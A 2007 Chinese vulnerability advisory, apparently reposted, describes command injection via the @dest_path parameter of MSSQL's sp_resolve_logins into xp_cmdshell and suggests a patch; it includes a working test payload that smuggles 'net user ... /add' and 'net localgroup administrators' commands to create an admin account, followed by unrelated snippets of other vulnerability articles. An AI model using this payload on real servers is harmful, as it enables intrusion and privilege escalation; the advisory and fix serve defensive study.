MSSQL自身存储过程的一个注入漏洞_漏洞研究

Infos: MSSQL自身存储过程的一个注入
Author: 疯子[BCT]
Date: 10/11/2007

我看到MSSQL的存储过程中,有模有样的在过滤。 然后我就去读读他们的存储过程。就找到了一个注入而已。
疯子如是说。
漏洞资料如下:

master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。

分析:

复制代码 代码如下:

SELECT @dest_path = RTRIM(LTRIM(@dest_path)) 

-- If the last char is '\', remove it. 
IF substring(@dest_path, len(@dest_path),1) = '\' 
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1) 

-- Don't do validation if it is a UNC path due to security problem. 
-- If the server is started as a service using local system account, we 
-- don't have access to the UNC path. 
IF substring(@dest_path, 1,2) <> '\\' 
BEGIN 
SELECT @command = 'dir "' + @dest_path + '"' 
exec @retcode = master..xp_cmdshell @command, 'no_output' 
IF @@error <> 0 
RETURN (1) 
IF @retcode <> 0  
BEGIN 
raiserror (14430, 16, -1, @dest_path)  
RETURN (1) 
END 
END 

master..sp_resolve_logins存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。
但是没有过滤"(双引号)导致了 xp_cmdshell执行任意SQL语句

测试代码:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句,成功添加了一个名为admina的系统帐号

但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号。 

疯子提供了一个给其打补丁的方法:

复制代码 代码如下:

用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如: 
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ,这样就不会产生注入了。 

时间: 2024-10-24 07:07:25

MSSQL自身存储过程的一个注入漏洞_漏洞研究的相关文章

蓝雨设计整站SQL注入漏洞_漏洞研究

本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关  最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是

技巧和诀窍防范SQL注入攻击_漏洞研究

[原文地址]Tip/Trick: Guard Against SQL Injection Attacks [原文发表日期] Saturday, September 30, 2006 9:11 AM SQL注入攻击是非常令人讨厌的安全漏洞,是所有的web开发人员,不管是什么平台,技术,还是数据层,需要确信他们理解和防止的东西.不幸的是,开发人员往往不集中花点时间在这上面,以至他们的应用,更糟糕的是,他们的客户极其容易受到攻击. Michael Sutton 最近发表了一篇非常发人深省的帖子,讲述在

2007 10.30动易网站管理系统vote.asp页面存在SQL注入漏洞_漏洞研究

测试系统:         动易(PowerEasy CMS SP6 071030以下版本) 安全综述:        动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品. 漏洞描述:     vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入     但是其语句里面过滤了-- ;等字符,又是一个UPDATE形的注入,有一定的限制.但是其过滤的顺序不对.有导致mss

研究桃源留言本的漏洞_漏洞研究

桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统.由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评.桃源留言本由原来的2.0版,升级到现在的3.0版.其官方网站也是3.0版.前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本.于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少.      一.上传漏洞     我在网上搜索的时候,发现已经有人

WDB论坛存在多个严重漏洞_漏洞研究

===============================================  仅以此文送给我的好友Bytes,  并祝他和他的女友璐子能够真的相爱一生,白头偕老  ===============================================  前言:  我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,"不就是在一个变量后面嵌入你的sql语句么,这个我也会",这是我听到最多的人们对WEB安全的认识,WEB安全

MSIE DHTML Edit跨站脚本漏洞_漏洞研究

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!  [受影响系统]   Microsoft Internet Explorer 6.0  - Microsoft Windows XP Professional SP1   - Microsoft Windows XP Professional   - Microsoft Windows XP Home SP1   - Microsoft W

UBB的跨站脚本攻击的漏洞_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点 什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点比

Discuz!论坛install.php书写错误漏洞_漏洞研究

书写错误,导致恶意用户构造语句可以写入webshell,进而控制整个服务器.    前几个晚上,把前台文件,只要是数据库调用中的变量都看了一遍.看看是不是有过滤不严的地方,看完后觉得,过滤不严的地方的确不少,但是都已经被单引号保护起来了.在php中,如果magic_qoute_gpc=on(默认的)编译器会自动把单引号等特殊字符转义,而这个时候我们想改变程序的执行流程是非常困难的.这样大大的增加了入侵的难度,在某种程度上,也的确保证了其安全.这也是为什么朋友提出一定要在magic_qoute_g

推荐:二次发现桃源网络硬盘漏洞_漏洞研究

本人在第10期上的黑防刊登了桃源网络硬盘相关的漏洞后.马上就通知了桃源官方修复了相关漏洞.近日,下班后无聊,就重新下载了桃源网络硬盘的最新版本2.5进行全面检测.发现虽然修补了用".",另存.下载其网站的配置文件及数据库等漏洞.但用其它的方法作了个测试后发现,汗.还是存在相关漏洞,还有就是可以构造代码,任意查看网络硬盘所有文件的源代码及配置文件和数据库.好的,转入正题吧. 为了给大家给个真实的视觉效应,特意在官方详细测试.第一就是上传漏洞,在这里官方已经换上了最新版本的V2.5了.所在